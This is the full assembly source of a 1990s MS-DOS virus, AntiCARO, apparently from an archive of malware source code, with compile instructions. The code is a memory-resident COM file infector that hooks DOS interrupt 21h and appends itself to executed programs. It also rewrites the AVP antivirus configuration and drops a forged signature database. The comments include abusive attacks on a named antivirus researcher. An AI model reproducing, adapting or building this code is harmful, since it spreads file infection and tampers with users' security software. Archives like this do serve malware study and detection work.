MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.anticaro.asm
2021-01-12 17:31:39 -06:00

463 lines
19 KiB
NASM

;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; AntiCARO ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Mister Sandman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; As i don't agree with CARO and with the way the name viruses, and spe-
; cially the way they *misnamed* VLAD's Bizatch, i decided to write this
; virus... just to protest against the biggest dickhead under the sun,
; Vesselin Bonchev, the virus-baptizer who does whatever he wants making
; abuse of his 'power' in that fucking sect named CARO.
;
; And as i know that, albeit he works at Frisk, his favourite AV is AVP,
; i just took the decission to write this baby, which will modify AVP so
; it will detect Bizatch as 'Bizatch_:P' and not as Boza.
;
; The virus is lame as hell (but i swear i wasn't able to reach Ratboy's
; or YAM's coding skills)... i only developed its originality. Anyway,
; it's interesting to see how does it modify AVP:
;
; It looks for AVP.SET in the current directory it's being loaded from.
; If it finds that file, it will insert a new viral database in the se-
; cond field, and later it will drop that new database, which contains
; the data needed for detecting Bizatch from AVP (have a look at the co-
; de, which is found at the end of this virus).
;
; As this new viral database has been loaded before the rest of the
; other databases (except of KERNEL.AVB, which must be always loaded in
; the first place), it will be the first one containing Bizatch's search
; strings, so it will be the fortunate participant to show the name of
; the virus it has detected :)
;
; About the virus itself, as i told before, it's a lame TSR COM infec-
; tor which hits files on execution (4b00h) and uses SFTs for performing
; the file infection.
;
; This virus is dedicated to my friends Quantum and Qark (ex VLAD) for
; obvious reasons and to Tcp/29A because of his help on its writing.
;
; Compiling instructions:
;
; tasm /m anticaro.asm
; tlink anticaro.obj
; exe2bin anticaro.exe anticaro.com
anticaro segment byte public
assume cs:anticaro,ds:anticaro
org 0
anticaro_start label byte
anticaro_size equ anticaro_end-anticaro_start
entry_point: call delta_offset
delta_offset: pop bp ; Get ë-offset
sub bp,offset delta_offset ; for l8r use
mov ax,3d02h ; Try to open AVP.SET
lea dx,[bp+avp_set] ; if it's found in the
int 21h ; current directory
jc mem_res_check
xchg bx,ax
mov ah,3fh ; Read the whole file
mov cx,29Ah ;-)
lea dx,[bp+anticaro_end]
int 21h
push ax
mov ax,4200h ; Lseek to the second
xor cx,cx ; line (first must
mov dx,0ch ; be always KERNEL.AVB)
int 21h
mov ah,40h ; Truncate file from
xor cx,cx ; current offset
int 21h
mov ah,40h ; Write our viral
mov cx,0dh ; database name
lea dx,[bp+bizatch_name] ; (BIZATCH.AVB) as
int 21h ; second field
mov ah,40h ; And write the rest
pop cx ; of the original
sub cx,0ch ; AVP.SET we read b4
lea dx,[bp+anticaro_end+0ch] ; to our buffer
int 21h
mov ah,3eh ; Close file
int 21h
mov ah,3ch ; Create the new viral
xor cx,cx ; database (BIZATCH.AVB)
lea dx,[bp+bizatch_base] ; which contains Bizatch's
int 21h ; detection data
xchg bx,ax
mov ah,40h ; Write the database
mov cx,base_size ; contents in the new
lea dx,[bp+bizatch_avb] ; created file
int 21h
mov ah,3eh ; Close file
int 21h
mem_res_check: mov ax,'CA' ; Check if we're already
mov bx,'RO' ; memory resident
int 21h
cmp ax,'SU' ; Coolio residency
cmp bx,'X!' ; check... CARO SUX! :P
je nothing_to_do
install: mov ax,es
dec ax
mov ds,ax ; Program's MCB segment
xor di,di
cmp byte ptr ds:[di],'Y' ; Is it a Z block?
jna nothing_to_do
sub word ptr ds:[di+3],((anticaro_size/10h)+2)
sub word ptr ds:[di+12h],((anticaro_size/10h)+2)
add ax,word ptr ds:[di+3]
inc ax
mov ds,ax
mov byte ptr ds:[di],'Z' ; Mark block as Z
mov word ptr ds:[di+1],8 ; System memory
mov word ptr ds:[di+3],((anticaro_size/10h)+1)
mov word ptr ds:[di+8],4f44h ; Mark block as owned
mov word ptr ds:[di+0ah],0053h ; by DOS (44h-4fh-53h,0)
inc ax
cld
push cs
pop ds
mov es,ax ; Copy virus to memory
mov cx,anticaro_size
lea si,[bp+anticaro_start]
rep movsb
push ds
mov ds,cx
mov es,ax ; Save int 21h's
mov si,21h*4 ; original vector
lea di,old_int_21h+1
movsw
movsw
mov word ptr [si-4],offset new_int_21h
mov word ptr [si-2],ax ; Set ours
pop ds
push ds ; CS=DS=ES
pop es
nothing_to_do: lea si,[bp+host_header] ; Restore host's header
mov di,100h ; and jump to cs:100h
push di ; for running it
movsw
movsw
ret
; ÄÄ´ note_to_stupid_avers ;) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
copyright db 0dh,0ah,'[AntiCARO, by Mister Sandman/29A]',0dh,0ah
db 'Please note: the name of this virus is [AntiCARO] '
db 'written by Mister Sandman of 29A... but... dear '
db 'Bontchy... name it however *you* (and not CARO) want,'
db ' as usual; we just don''t mind your childish '
db 'stupidity :)',0dh,0ah
; ÄÄ´ AntiCARO's int 21h handler ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
new_int_21h: cmp ax,'CA' ; Residency check
jnz execution? ; Are they asking my
cmp bx,'RO' ; opinion about CARO?
jnz execution?
mov ax,'SU' ; Ok, CARO SUX! :P
mov bx,'X!'
iret
execution?: cmp ax,4b00h ; This is the moment
je check_name ; we were waiting for ;)''
old_int_21h: db 0eah ; jmp xxxx:xxxx
dw 0,0 ; Original int 21h
; ÄÄ´ Infection routines ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
check_name: push ax bx cx dx ; Push all this shit
push si di ds es ; and clear direction
cld ; flag
mov ax,3d00h ; Open the file is
int 21h ; about to be executed
xchg bx,ax
call get_sft ; Get its SFT
jc dont_infect ; Shit... outta here
push cs ; CS=DS
pop ds
mov ax,word ptr es:[di+28h] ; Check extension
cmp ax,'OC' ; There aren't too many
je check_file ; 'COx' executables
; besides COMs, right? :)
dont_infect: pop es ds di si ; Pop out registers and
pop dx cx bx ax ; jmp to the original
jmp old_int_21h ; int 21h handler
check_file: xor al,al ; Clear and save file
xchg al,byte ptr es:[di+4] ; attributes
push ax
mov word ptr es:[di+2],2 ; Set read/write mode
mov ah,3fh ; Read first four
mov cx,4 ; bytes to our buffer
lea dx,host_header
int 21h
mov ax,word ptr host_header ; First word in AX
add al,ah ; M+Z or Z+M=0a7h :)
cmp al,0a7h ; So is it an EXE file?
je close_file ; Fuck it
cmp byte ptr host_header+3,90h ; Check file for any
je close_file ; previous infection
mov ax,word ptr es:[di+11h] ; Check file length
cmp ax,0faebh ; > 64235?
ja close_file
push ax ; Save length
sub ax,3 ; Make the initial
mov word ptr new_header+1,ax ; jmp to our code
mov word ptr es:[di+15h],0 ; Lseek to the start
mov ah,40h ; Write in our cooler
mov cx,4 ; header :)
lea dx,new_header
int 21h
pop ax ; Lseek to the end
mov word ptr es:[di+15h],ax ; of the file
mov ah,40h ; Append our code
mov cx,anticaro_size ; Huh? where's the
lea dx,anticaro_start ; call to the poly
int 21h ; engine? :)
close_file: mov ah,3eh ; Close our victim
int 21h
pop ax ; Restore attributes
mov byte ptr es:[di+4],al ; Pop shit and jump
jmp dont_infect ; to the original int 21h
; ÄÄ´ Subroutines... or... oh, well, subroutine :) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
get_sft: push ax bx
mov ax,1220h ; Get job file table
int 2fh ; in ES:DI (DOS 3+)
jc bad_sft
xor bx,bx ; Get the address of
mov ax,1216h ; the specific SFT for
mov bl,byte ptr es:[di] ; our handle
int 2fh
bad_sft: pop bx ax ; Pop registers and
ret ; return to the code
; ÄÄ´ Data area ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
host_header db 0cdh,20h,90h,90h ; Host's header
new_header db 0e9h,?,?,90h ; New header buffer
avp_set db 'avp.set',0 ; Can't you guess it? :)
bizatch_name db 'BIZATCH.AVB',0dh,0ah ; Our database field
bizatch_base db 'bizatch.avb',0 ; Viral database name
; ÄÄ´ BIZATCH.AVB viral database ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; The hex dump below is the AVP full-compatible viral database which con-
; tains the necessary data for detecting Bizatch. This was done by compi-
; ling the 'belower' code, linking it to a new AVPRO record, and filling
; out some of this record's data fields. These are the steps:
;
; - Compile the source below this hex dump: tasm /m /ml /q biz_dec.asm.
; - Execute AVP's AVPRO.EXE.
; - Edit a new viral dabase (Alt-E, F3, and then type 'bizatch.avb').
; - Insert a file record in it (Alt-I, and then select 'File virus').
; - Fill the form as follows:
;
; ÉÍ[þ]ÍÍÍÍÍÍÍÍÍÍÍ File virus ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º Name: Bizatch_:P Type [ ] COM º
; º Comment: Fuck you, Bontchy [X] EXE º
; º [ ] SYS º
; º Area 1 Header [ ] WIN º
; º Offset 0000 º
; º Length 00 Method Delete º
; º Area 2 Page_C Area Header º
; º Offset 0000 From +0000 º
; º Length 0a Length +0000 º
; º To +0000 º
; > º Link Ü +0000 º
; º ßßßßßß Cut 0000 º
; > º Sum Ü 00000000 º
; º ßßßßßß 00000000 º
; º º
; º Ok Ü Cancel Ü º
; º ßßßßßßßßßß ßßßßßßßßßß º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;
; - Link biz_dec.obj (Alt-L, and then select it).
; - Type in Bizatch's entry point for calculating its sum (Alt-S, don't
; select any file, and type in 'e8 00 00 00 00 5d 8b c5 2d 05' in the
; dump gap AVPRO will show you.
; - Save the new record and the new viral database.
;
; As you see, this is quite tedious to do, and that's why i included di-
; rectly the hex dump of the result of all these steps, which seems to me
; a bit more easy for you :)
;
; So skip the hex dump and have a look at biz_dec.asm's code, which is the
; really important thing of this virus.
base_start label byte
base_size equ base_end-base_start-3
bizatch_avb db 2dh,56h,0c2h,00h,00h,00h,00h,01h,0cch,07h,04h
db 0bh,0cch,07h,10h,0bh,00h,00h,01h,00h,00h,00h,00h
db 00h,0dh,0ah,41h,6eh,74h,69h,76h,69h,72h,61h,6ch
db 20h,54h,6fh,6fh,6ch,4bh,69h,74h,20h,50h,72h,6fh
db 0dh,0ah,20h,62h,79h,20h,45h,75h,67h,65h,6eh,65h
db 20h,4bh,61h,73h,70h,65h,72h,73h,6bh,79h,20h,0dh
db 0ah,28h,63h,29h,4bh,41h,4dh,49h,20h,43h,6fh,72h
db 70h,2eh,2ch,20h,52h,75h,73h,73h,69h,61h,20h,31h
db 39h,39h,32h,2dh,31h,39h,39h,35h,2eh,0dh,0ah,50h
db 72h,6fh,67h,72h,61h,6dh,6dh,65h,72h,73h,3ah,0dh
db 0ah,41h,6ch,65h,78h,65h,79h,20h,4eh,2eh,20h,64h
db 65h,20h,4dh,6fh,6eh,74h,20h,64h,65h,20h,52h,69h
db 71h,75h,65h,2ch,0dh,0ah,45h,75h,67h,65h,6eh,65h
db 20h,56h,2eh,20h,4bh,61h,73h,70h,65h,72h,73h,6bh
db 79h,2ch,0dh,0ah,56h,61h,64h,69h,6dh,20h,56h,2eh
db 20h,42h,6fh,67h,64h,61h,6eh,6fh,76h,2eh,0dh,0ah
db 0dh,0ah,00h,0dh,0ah,38h,00h,00h,00h,10h,00h,42h
db 69h,7ah,61h,74h,63h,68h,5fh,3ah,50h,00h,00h,00h
db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,03h
db 00h,00h,0ah,0fh,0feh,0ffh,0ffh,01h,00h,00h,00h,00h
db 00h,00h,00h,0ch,00h,00h,00h,00h,00h,00h,00h,00h,00h
db 00h,00h,00h,00h,0dh,01h,12h,00h,00h,00h,46h,75h,63h
db 6bh,20h,79h,6fh,75h,2ch,20h,42h,6fh,6eh,74h,63h,68h
db 79h,00h,0dh,02h,01h,01h,00h,00h,98h,07h,00h,28h,86h
db 00h,02h,03h,01h,0adh,8ch,21h,00h,07h,5fh,50h,61h
db 67h,65h,5fh,43h,00h,07h,5fh,48h,65h,61h,64h,65h
db 72h,00h,05h,5fh,53h,65h,65h,6bh,00h,05h,5fh,52h
db 65h,61h,64h,00h,53h,90h,0eh,00h,00h,01h,07h,5fh
db 64h,65h,63h,6fh,64h,65h,00h,00h,00h,97h,0a0h,8ah
db 00h,01h,00h,00h,1eh,55h,0bdh,00h,00h,8eh,0ddh,0c4h
db 3eh,00h,00h,26h,8bh,6dh,3ch,33h,0c0h,50h,55h,9ah
db 00h,00h,00h,00h,58h,58h,0c4h,3eh,00h,00h,0b8h,0f8h
db 00h,50h,06h,57h,9ah,00h,00h,00h,00h,83h,0c4h,06h
db 0c4h,3eh,00h,00h,26h,81h,3dh,50h,45h,75h,29h,26h
db 8bh,4dh,06h,51h,0b8h,28h,00h,50h,06h,57h,9ah,00h
db 00h,00h,00h,83h,0c4h,06h,59h,0c4h,3eh,00h,00h,26h
db 81h,3dh,76h,6ch,75h,08h,26h,81h,7dh,02h,61h,64h
db 74h,07h,0e2h,0dbh,33h,0c0h,5dh,1fh,0cbh,26h,0c4h
db 7dh,14h,06h,57h,9ah,00h,00h,00h,00h,58h,58h,0c4h
db 3eh,00h,00h,0b8h,0ah,00h,50h,06h,57h,9ah,00h,00h
db 00h,00h,83h,0c4h,06h,0ebh,0dah,9ah,9ch,2dh,00h
db 0c8h,03h,56h,02h,0c4h,09h,56h,02h,0cch,14h,56h
db 03h,0c4h,1ch,56h,01h,0cch,25h,56h,04h,0c4h,2eh
db 56h,01h,0cch,43h,56h,04h,0c4h,4dh,56h,01h,0cch
db 6ch,56h,03h,0c4h,74h,56h,01h,0cch,7dh,56h,04h,57h
db 8ah,02h,00h,00h,74h
base_end label byte
; ÄÄ´ Bizatch's detection code ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; biz_dec segment byte public 'code'
; assume cs:biz_dec;ds:biz_dec;es:biz_dec;ss:biz_dec
;
; _decode proc far
; push ds bp
; mov bp,seg _Header ; Get AVP's data segment
; mov ds,bp
;
; les di,_Header ; Get pointer to header
; mov bp,word ptr es:[di+3ch] ; Get PE header offset
; xor ax,ax
;
; push ax bp
; call far ptr _Seek ; Lseek to PE header
; pop ax ax ; Remove 2 words from stack
;
; les di,_Page_C ; Destination=buffer
; mov ax,0f8h ; Size=f8h bytes
;
; push ax es di ; Read f8h bytes from
; call far ptr _Read ; the PE header
;
; add sp,6 ; Remove 3 words from stack
; les di,_Page_C ; The call changes ES
; cmp word ptr es:[di],'EP' ; Portable Executable?
; jne back_to_avp
;
; mov cx,word ptr es:[di+6] ; Objects number
; next_entry: push cx
;
; mov ax,28h ; Length of each
; push ax es di ; object table entry
; call far ptr _Read ; Read object
;
; add sp,6 ; Remove 3 words from stack
; pop cx
; les di,_Page_C ; Point to our buffer
; cmp word ptr es:[di],'lv' ; vl(ad) object?
; jne search_loop
;
; cmp word ptr es:[di],'da' ; (vl)ad object?
; je lseek_object ; Bingo! :)
;
; search_loop: loop next_entry ; Process next object
;
; back_to_avp: xor ax,ax ; R_CLEAN==0
; pop bp ds ; Return to AVP
; retf
;
; lseek_object: les di,dword ptr es:[di+14h] ; Lseek to the object
; push es di ; physical offset
; call far ptr _Seek
;
; pop ax ax
; mov ax,0ah ; Read ten bytes to
; les di,_Page_C ; our buffer (page C)
; push ax es di
; call far ptr _Read
;
; add sp,6 ; And now AVP will compare
; jmp back_to_avp ; those ten bytes with
; _decode endp ; Bizatch's search string
; biz_decode ends
;
; public _decode
; extrn _Page_C:dword ; External AVP's API
; extrn _Header:dword ; functions and buffers
; extrn _Seek:far ; (lseek, read, header,
; extrn _Read:far ; read buffer...)
; end
anticaro_end label byte
anticaro ends
end anticaro_start